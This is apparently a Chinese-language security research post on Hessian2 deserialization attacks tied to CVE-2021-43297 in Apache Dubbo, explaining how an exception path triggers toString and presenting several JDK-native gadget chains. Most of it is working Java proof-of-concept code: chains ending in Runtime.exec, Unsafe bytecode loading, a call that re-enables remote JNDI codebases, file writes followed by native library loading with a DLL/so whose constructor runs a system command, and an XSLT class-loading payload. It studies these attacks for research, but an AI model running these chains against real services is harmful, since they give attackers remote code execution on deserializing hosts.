0x01 Apache Dubbo Hessian2 expection 2 deser
参考:Apache Dubbo Hessian2 异常处理时反序列化(CVE-2021-43297) (seebug.org)
虽是Dubbo
的CVE,但是漏洞点和修复点都在Dubbo
魔改的Hessian
依赖包,原版的Hessian
同样存在这个问题
Reproduce
Hessian2Input#readObject
这个方法是这么描述的👇
Reads an arbitrary object from the input stream when the type is unknown
也就是Hessian在反序列化时,根据输入流来判断类型
首先读取了输入流的一个字节(看到这里和0xff
作与运算)
根据这个标记字节来决定反序列化的类型,67对应'C',进入readObjectDefinition
-> readString
case 'C':
{
readObjectDefinition(null);
return readObject();
}
这里不止67可以用,只要最后让他匹配不到类型抛出expect即可
readString
又读了一次标记字节(_buffer
头两个元素都是相同的标记字节)
但这次没有找到对应67的case,进入default,抛出了expect
异常
com.caucho.hessian.io.Hessian2Input#expect
这里继续对输入流进行反序列化,并将得到的对象obj拼接到异常错误信息中,妥妥的触发obj.String()
这里就和Dubbo
那个Exported Service Not Found
抛出异常的打法具有异曲同工之妙了
修复:Dubbo3.2.13
中不进行obj的拼接
接下来就是ROME利用链了
toStringBean#toString
-> getter
-> JdbcRowSetImpl#getDatabaseMetaData
-> InitialContext#lookup
但若目标环境没有ROME依赖呢
接下来就来学习一下大佬们挖到的链子orz
0x02 Different Path of XStream
XStream有一条原生JDK的链子(为什么能联想到XStream是因为XStream和Hessian一样不需要类实现Serializable
接口)
javax.swing.MultiUIDefaults#toString
UIDefaults#get
UIDefaults#getFromHashTable
UIDefaults$LazyValue#createValue
SwingLazyValue#createValue
javax.naming.InitialContext#doLookup()
这条链有两个限制
MultiUIDefaults
的访问修饰符是default
,只有javax.swing
才能使用它,Hessian反序列化时会出错
MultiUIDefaults
实现了Map接口,获取到的反序列化器为MapDeserializer
。
其对类进行实例化,会先检查该类是否可访问checkAccess
Class com.caucho.hessian.io.MapDeserializer can not access a member of class javax.swing.MultiUIDefaults with modifiers "public"
MimeTypeParameterList + MethodUtil
大佬们找到了另一个可利用的toString
类javax.activation.MimeTypeParameterList
public String toString() {
StringBuffer buffer = new StringBuffer();
buffer.ensureCapacity(this.parameters.size() * 16);
Enumeration keys = this.parameters.keys();
while(keys.hasMoreElements()) {
String key = (String)keys.nextElement();
buffer.append("; ");
buffer.append(key);
buffer.append('=');
buffer.append(quote((String)this.parameters.get(key)));
}
return buffer.toString();
}
parameters
成员是Hashtable
类型,而UIDefaults
也刚好继承了Hashtable
看看SwingLazyValue#createValue
createValue
能够调用类的静态方法或对类进行实例化
(注意,这里用Class.forName
加载类时,指定的类加载器是null,所以SwingLazyValue
只能加载rt.jar
下的类)
sun.reflect.misc.MethodUtil
的invoke
静态方法可以任意调用方法
因此我们得到一条新的链子
javax.activation.MimeTypeParameterList#toString
UIDefaults#get
UIDefaults#getFromHashTable
UIDefaults$LazyValue#createValue
SwingLazyValue#createValue
sun.reflect.misc.MethodUtil#invoke
import com.caucho.hessian.io.*;
import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class Test {
public static void ser(Object evil) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(baos);
output.getSerializerFactory().setAllowNonSerializable(true); //允许反序列化NonSerializable
baos.write(77);
output.writeObject(evil);
output.flushBuffer();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
input.readObject();
}
public static void main(String[] args) throws Exception {
UIDefaults uiDefaults = new UIDefaults();
Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
Method exec = Class.forName("java.lang.Runtime").getDeclaredMethod("exec", String.class);
SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}});
uiDefaults.put("p4d0rn", slz);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
setFieldValue(mimeTypeParameterList,"parameters",uiDefaults);
ser(mimeTypeParameterList);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
Unsafe Bypass blacklist
上面的POC打不出来,本地调试的Hessian版本是4.0.63
该版本下Hessian在获取反序列化器时会对类进行检查
com.caucho.hessian.io.ClassFactory#isAllow
判断类是否允许被反序列化,其维护了一个黑名单
ClassFactory#load
把黑名单中的类都转为HashMap
试了一下降到4.0.38
就可以了
当然既然能调用任意方法了,我们也不必拘束于Runtime
利用Unsafe
加载字节码,注意Unsafe#defineClass
不会对类进行初始化,所以需要调用两次,在恶意类里添加一个静态方法,第二次调用之。
public static byte[] getPayload() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtMethod staticInitializer = CtNewMethod.make("public static void exp() { Runtime.getRuntime().exec(\"calc\"); }", clazz);
clazz.addMethod(staticInitializer);
return clazz.toBytecode();
}
public static Object loadClass() throws Exception {
UIDefaults uiDefaults = new UIDefaults();
Class<?> clazz = Class.forName("sun.misc.Unsafe");
Field field = clazz.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Method defineClass = clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
byte[] bytes = getPayload();
Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{defineClass, unsafe, new Object[]{"a", bytes, 0, bytes.length, null, null}}});
uiDefaults.put("p4d0rn", slz);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
return mimeTypeParameterList;
}
public static Object initClass() throws Exception {
UIDefaults uiDefaults = new UIDefaults();
SwingLazyValue slz = new SwingLazyValue("a", "exp", new Object[0]);
uiDefaults.put("p4d0rn", slz);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
return mimeTypeParameterList;
}
JNDI Breakthrough
高版本的JDK之所以有JNDI限制,是因为trustURLCodebase
默认为false
,禁用了RMI、CORBA和LDAP使用远程codebase的选项
JDK 6u132, JDK 7u122, JDK 8u113后
com.sun.jndi.rmi.object.trustURLCodebase = false
com.sun.jndi.cosnaming.object.trustURLCodebase = false
JDK 6u211,7u201, 8u191, 11.0.1后
com.sun.jndi.ldap.object.trustURLCodebase = false
好巧不巧这个java.lang.System#setProperty
就是个静态方法,可以用上面的sun.reflect.misc.MethodUtil#invoke
去调用
稍微修改一下上面的POC
Method setProperty = Class.forName("java.lang.System").getDeclaredMethod("setProperty", String.class, String.class);
SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{setProperty, new Object(), new Object[]{"com.sun.jndi.ldap.object.trustURLCodebase", "true"}}});
开启trustURLCodebase
之后就可以发起JNDI请求了。
Method doLookup = Class.forName("javax.naming.InitialContext").getDeclaredMethod("doLookup", String.class);
SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{doLookup, new Object(), new Object[]{"ldap://127.0.0.1:8099/aaa"}}});
0x03 PKCS9Attributes + BCEL
和上面的MimeTypeParameterList
+ MethodUtil
比较,这条链子就source和sink不同
sun.security.pkcs.PKCS9Attributes#toString
-> PKCS9Attributes#getAttribute
this.attributes
刚好是HashTable
com.sun.org.apache.bcel.internal.util.JavaWrapper#_mian
实例化一个JavaWrapper
之后进入wrapper.runMain
loader
在实例化时被初始化为com.sun.org.apache.bcel.internal.util.ClassLoader
(该ClassLoader继承了java.lang.ClassLoader
)
但是BCEL的ClassLoader
并不会对类进行初始化initial
,所以不会马上执行静态代码块
得写一个_main
让runMain
走到后面的逻辑,调用恶意类的_main
的时候才会执行静态代码块
设置_main
方法为静态方法,才不会抛出异常
public class Evil {
static {
try {
System.out.println("static block");
Runtime.getRuntime().exec("calc");
} catch (Exception e) {}
}
public static void _main(String[] argv) throws Exception {
System.out.println("_main");
Runtime.getRuntime().exec("calc");
}
}
public static void main(String[] args) throws Exception {
JavaWrapper._main(new String[]{getBCEL(), "p4d0rn"});
}
public static String getBCEL() throws Exception {
JavaClass javaClass = Repository.lookupClass(Evil.class);
String encode = Utility.encode(javaClass.getBytes(), true);
return "$$BCEL$$" + encode;
}
输出
static block
_main
public static Object bcel() throws Exception {
UIDefaults uiDefaults = new UIDefaults();
SwingLazyValue slz = new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{getBCEL(), "p4d0rn"}});
PKCS9Attributes pkcs9Attributes = createWithoutConstructor(PKCS9Attributes.class);
Class clazz = Class.forName("sun.security.pkcs.PKCS9Attribute");
Field pkcs = clazz.getDeclaredField("PKCS9_OIDS");
pkcs.setAccessible(true);
uiDefaults.put(((ObjectIdentifier[]) pkcs.get(null))[1], slz);
setFieldValue(pkcs9Attributes, "attributes", uiDefaults);
return pkcs9Attributes;
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
注:BCEL Classloader在 JDK < 8u251之前还在rt.jar里面 原生JDK
0x04 ProxyLazyValue + DumpBytecode + System.load
jdk.nashorn.internal.codegen.DumpBytecode#dumpBytecode
是静态方法,能够写class文件
但由于ClassLoader的原因,SwingLazyValue
这里只能加载rt.jar
里面的类,而DumpBytecode
类在nashorn.jar
里面
javax.swing.UIDefaults$ProxyLazyValue.createValue
获取到classloader就能加载nashorn.jar
了
创建一个动态链接库文件
#include <stdlib.h>
#include <stdio.h>
void __attribute__ ((__constructor__)) calc (){
system("calc");
}
gcc -c calc.c -o calc && gcc calc --share -o calc.so
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
calc(); // 进程附加时调用
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
// pch.cpp
#include "pch.h"
#include <stdlib.h>
#include <stdio.h>
void calc() {
system("calc");
}
// pch.h: 预编译标头文件。
#ifndef PCH_H
#define PCH_H
#include "framework.h"
extern "C" _declspec(dllexport) void calc();
#endif //PCH_H
先写so/dll文件,再通过System.load
加载动态链接库
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import jdk.nashorn.internal.runtime.ScriptEnvironment;
import jdk.nashorn.internal.runtime.logging.DebugLogger;
import sun.misc.Unsafe;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class WriteFile {
public static void main(String[] args) throws Exception {
Unsafe unsafe = getUnsafe();
Object script = unsafe.allocateInstance(ScriptEnvironment.class);
setFieldValue(script, "_dest_dir", "E:/Server/");
Object debug = unsafe.allocateInstance(DebugLogger.class);
byte[] code = Files.readAllBytes(Paths.get("E:/calc.dll")); // 准备好的dll放在E盘根目录下
String classname = "calc";
// 写so/dll文件
// UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue("jdk.nashorn.internal.codegen.DumpBytecode",
// "dumpBytecode", new Object[]{
// script,
// debug,
// code,
// classname
// });
//System.load加载so文件
UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue("java.lang.System", "load", new Object[]{
"E:/Server/calc.class"
});
setFieldValue(proxyLazyValue, "acc", null);
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("key", proxyLazyValue);
Class clazz = Class.forName("java.awt.datatransfer.MimeTypeParameterList");
Object mimeTypeParameterList = unsafe.allocateInstance(clazz);
setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
baos.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(mimeTypeParameterList);
out.flushBuffer();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
input.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Unsafe getUnsafe() throws Exception {
Class<?> aClass = Class.forName("sun.misc.Unsafe");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
Unsafe unsafe = (Unsafe) declaredConstructor.newInstance();
return unsafe;
}
}
0x05 XSLT Transform
通过com.sun.org.apache.xml.internal.security.utils.JavaUtils#writeBytesToFilename
静态方法写文件,然后通过com.sun.org.apache.xalan.internal.xslt.Process#_main
去加载XSLT文件触发transform,达到任意字节码加载的目的。不需要出网。
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:b64="http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
xmlns:th="http://xml.apache.org/xalan/java/java.lang.Thread"
xmlns:ru="http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils"
>
<xsl:template match="/">
<xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'<base64_payload>')"/>
<xsl:variable name="cl" select="th:getContextClassLoader(th:currentThread())"/>
<xsl:variable name="rce" select="ru:defineClass('<class_name>',$bs,$cl)"/>
<xsl:value-of select="$rce"/>
</xsl:template>
</xsl:stylesheet>
public static Object loadXslt() throws Exception {
UIDefaults uiDefaults = new UIDefaults();
SwingLazyValue slz = new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file:///E:/Server/evil_xslt"}});
uiDefaults.put("p4d0rn", slz);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
return mimeTypeParameterList;
}
public static Object writeXslt() throws Exception {
String xsltTemplate = "";
byte[] bytes = ClassPool.getDefault().get("a").toBytecode();
String based = Base64.getEncoder().encodeToString(bytes);
String xslt = xsltTemplate.replace("<base64_payload>", based).replace("<class_name>", "a");
UIDefaults uiDefaults = new UIDefaults();
SwingLazyValue slz = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"E:/Server/evil_xslt", xslt.getBytes()});
uiDefaults.put("p4d0rn", slz);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
return mimeTypeParameterList;
}
既然org.springframework.cglib.core.ReflectUtils#defineClass
是静态方法,为什么不直接调用呢?
试了一下ClassLoader
在Hessian序列化时会出问题。。。
0x06 Reference